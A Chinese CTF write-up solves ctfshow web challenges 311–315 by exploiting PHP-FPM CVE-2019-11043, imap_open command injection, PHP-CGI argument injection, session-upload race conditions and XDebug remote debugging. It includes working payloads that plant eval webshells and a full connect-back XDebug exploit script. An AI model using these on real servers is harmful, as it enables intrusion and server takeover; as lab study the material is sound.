文章目录
题目列表
web311
打开题目环境,先看看题目使用了什么语言和服务,F12打开网络 ,或者用Wappalyer查看

可以看到目标环境为 Nginx + PHP-FPM,且PHP版本为7.1
上网搜索对应的漏洞,发现CVE-2019-11043符合我们的要求
具体可以参考链接:https://cloud.tencent.com/developer/article/1530703
漏洞描述
CVE-2019-11043 是一个重要的 PHP-FPM 远程代码执行漏洞,主要影响配置不当的 Nginx + PHP-FPM 网站,攻击者可利用该漏洞执行任意 PHP 代码,进而控制目标服务器
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常
该漏洞需要在nginx.conf中进行特定配置才能触发,具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
当用户在请求路径中插入编码为 %0a
的换行符,Nginx 的正则处理会使 PATH_INFO
为空。传递给 PHP-FPM 后,由于变量长度与内容可被精确控制,进而影响内存布局,使攻击者可构造特殊的 FastCGI 参数(如可控伪造 PHP_VALUE
)
影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0
- PHP 7.1
- PHP 7.2
- PHP 7.3
这题要用到的工具是phuip-fpizdam
,项目地址:https://github.com/neex/phuip-fpizdam
该工具是基于Go语言构建的,需要先搭建好环境
#更新本地软件包
apt-get update
#安装Go
apt install golang
#验证
go -version
然后github下载工具
#克隆项目到本地
git clone https://github.com/neex/phuip-fpizdam.git
#进入工具目录
cd phuip-fpizdam
#获取依赖包和编译代码
go get -v && go build

然后使用工具执行命令,地址换成自己的
bash
go run . "http://d654f5bf-2024-4d68-a045-c216dba47a44.challenge.ctf.show/index.php"

最后返回题目,在/index.php?a=
执行命令即可,如果没反应就多执行几次

flag在fl0gHe1e.txt
里面,执行/index.php?a=cat fl0gHe1e.txt
即可

web312
打开题目,可以看到一个邮箱登录框

目标环境为Nginx和PHP5.6.38

网上搜索一番,发现CVE-2018-19518符合我们的要求
参考链接:https://blog.csdn.net/weixin_45605352/article/details/116517889
什么是IMAP
IMAP(Internet Message Access Protocol,互联网邮件访问协议)是一种用于从邮件服务器远程访问和管理电子邮件的标准协议。与传统的POP3不同,IMAP允许用户在多个设备上同步邮箱状态,邮件内容保留在服务器上,用户对邮件的操作如读取、删除都会实时反馈到服务器,便于多设备协同管理邮箱,实现更灵活和在线的邮件访问体验,通常端口是143
漏洞描述
CVE-2018-19518 是PHP IMAP远程命令执行漏洞,漏洞存在于PHP IMAP扩展的imap_open()
函数,该函数用于连接IMAP邮件服务器,受到影响的环境通常运行在类Unix系统上,PHP通过imap_open
连接远程IMAP服务时会调用底层rsh
命令尝试连接
漏洞成因
imap_open()
函数中,IMAP服务器名称作为参数传递给rsh
(远程shell)命令,在部分系统中,rsh
命令被替换为ssh
(比如Debian、Ubuntu),而ssh支持更多复杂的命令参数。攻击者可以在构造的IMAP服务器名称中注入-oProxyCommand=
参数,这些参数被ssh
解释执行,从而执行任意系统命令
imap_open(string $mailbox , string $username , string $password)
函数中的mailbox
是执行命令参数的一部分,所以我们可以通过更改邮箱名来进行命令注入执行
影响范围
漏洞影响PHP多个版本,包括5.6.0至5.6.38,7.0.0至7.0.32,7.1.0至7.1.24,7.2.0至7.2.12等版本
现在回到题目,先随便输入几个数,看看表单数据

可以看到这里POST上传了三个参数,因为imap_open(string $mailbox , string $username , string $password)
函数中的mailbox
是执行命令参数的一部分,所以我们可以通过更改它来进行命令注入执行
原始payload:
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
对内容进行base64编码,符号进行URL编码,%3d是等号,%09是制表符
x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}
最终payload:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=111&password=222

显示下面结果即为成功

然后蚁剑连接webshell

成功找到flag

web313
打开题目,先看看目标环境

也是Nginx + PHP,且PHP版本为5.4.1,上网搜索对应可能的漏洞,发现CVE-2012-1823符合我们的要求
参考链接:https://www.cnblogs.com/lthlsy/p/14820076.html
漏洞描述
CVE-2012-1823 是 PHP-CGI 远程代码执行漏洞,主要出现在 PHP-CGI 模式下。该模式下 PHP 响应 HTTP 请求的方式存在缺陷,导致攻击者能够通过特别构造的 URL 参数,动态修改 PHP 的运行时配置
漏洞成因
漏洞来源于 PHP-CGI 对命令行参数的处理不严谨,攻击者可以在 URL 中插入以 -d
开头的参数(如 -d allow_url_include=1 -d auto_prepend_file=php://input
),这些参数本应只由命令行传递,却被 PHP-CGI 错误地解析为运行配置。这就允许攻击者开启危险功能,或通过指定 auto_prepend_file
使 PHP 在执行时读取并执行 HTTP 请求体中的恶意代码,从而实现远程执行任意 PHP 代码
影响范围
该漏洞影响 PHP 5.3.x 和 5.4.x 的早期版本(PHP < 5.3.12 ,PHP < 5.4.2),尤其是在使用 CGI 模式处理请求的环境中更易受害。生产环境中,许多使用 Nginx 反向代理 PHP-CGI 的站点因未做适当配置而成为攻击目标
CGI模式下有如下可控命令行参数可用
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
可以用-s
显示文件源码

证明确实存在该漏洞,接下来就是执行payload了
/index.php?-d+allow_url_include=1+-d+auto_prepend_file=php://input
URL编码,%3d是等号,%3a是冒号
/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp%3a//input
然后请求体写PHP代码执行命令
php
<?php echo system("ls");?>

最后在/somewhere
找到flag

web314
打开题目,可以看到给出了源码,但是由于禁了冒号,没办法用伪协议

可以正常读取文件

扫描目录,发现有个/phpinfo.php
,题目里的源码注释也有提示

拼接进URL访问,发现开启了session,且session.name为PHPSESSID

可以用PHP_SESSION_UPLOAD_PROGRESS
进行文件包含,用到条件竞争
payload:
python
import requests
import io
import threading
url = 'http://b14a333f-6a35-4dea-b3e3-d016a1f023b2.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
session.post(url,cookies={'PHPSESSID':'hello'},data=data,files={'file':('xxx',f)})
def read(session):
while event.isSet():
response = session.post(url+'?f=/tmp/sess_hello')
if 'success!' in response.text:
print("写入成功,访问1.php getshell")
event.clear()
break
else:
pass
if __name__=='__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()
显示写入成功即可

蚁剑连接webshell

在根目录成功找到flag

还有一个方法就是用UA头进行日志文件包含
URL拼接参数?f=/var/log/nginx/access.log
,然后UA头写入<?php eval($_POST[1]);?>
,最后Body写入命令POST发送执行即可

执行命令得到flag

web315
题目提示debug开启,端口9000
上网搜了一下对应漏洞,发现XDebug 远程调试漏洞符合我们的要求
参考链接:https://blog.csdn.net/zy15667076526/article/details/111824491
XDebug 远程调试漏洞 是一种因XDebug扩展的远程调试功能配置不当而引发的严重安全风险。XDebug是PHP的一个调试扩展,主要帮助开发者远程调试PHP代码,比如通过IDE连接服务器进行代码断点调试。当XDebug开启远程调试且配置了xdebug.remote_connect_back=1
(或在新版XDebug中对应的xdebug.discover_client_host=1
),XDebug会自动尝试连接发起HTTP请求客户端的IP地址以建立调试会话
这个自动"回连"机制如果暴露在公网环境中,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)。连接建立后,攻击者可以通过调试协议(DBGp)主动执行PHP代码,利用该功能中的eval接口实现任意代码执行(RCE)。由于XDebug调试协议没有身份验证,攻击者几乎可以完全控制运行PHP代码的服务器进程
我们可以输入/index.php?XDEBUG_SESSION_START=phpstorm
验证一下

响应头中出现了 Set-Cookie: XDEBUG_SESSION=phpstorm
,这表示服务器上的 PHP 在启用了 XDebug 调试扩展,并且远程调试功能被激活了,因此可以判断漏洞存在
这个漏洞的利用要用到脚本,可以命名为exp.py
payload:
python
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
import socketserver
import threading
import logging
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
server_done = threading.Event()
server_started = threading.Event()
def recv_xml(sock: socket.socket) -> bytes:
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
class XDebugRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
logging.info('[+] Recieve data from %s', self.client_address)
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
data = recv_xml(self.request)
logging.info('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
logging.warning('[-] No result...')
return
data = g.group(1)
try:
logging.info('[+] Result: ' + base64.b64decode(data).decode())
server_done.set()
except binascii.Error as e:
logging.error('[-] May be not string result: %s', e)
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_address, handler_class, code):
self.code = code
self.allow_reuse_address = True
super().__init__(server_address, handler_class)
def server_activate(self):
super().server_activate()
logging.info('[+] Server %s started', self.server_address)
server_started.set()
def start_dbgp_server(port: int, code: str):
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
return server_thread
def trigger_debug_session(url: str, attack_ip: str):
try:
server_started.wait(timeout=5)
logging.info('[+] Trigger debug session')
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
}
if attack_ip:
headers['X-Forwarded-For'] = attack_ip
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
except:
pass
def main():
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
args = parser.parse_args()
start_dbgp_server(9000, args.code)
start_dbgp_server(9003, args.code)
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
try:
# Wait with a timeout, but check for interrupts
for i in range(20):
if server_done.is_set():
break
time.sleep(0.5)
else:
logging.error('[-] Execution timed out')
except KeyboardInterrupt:
logging.info('[*] Received keyboard interrupt, exiting...')
if __name__ == '__main__':
main()
然后执行命令,这里用题目给的备用地址http://pwn.challenge.ctf.show:28100/
bash
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("ls");'

cat flaaaxx.php
即可,成功拿到flag
bash
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("cat flaaaxx.php");'

ctfshow{8838-562d8118-4706-427f-8be2-a89a45c752cb}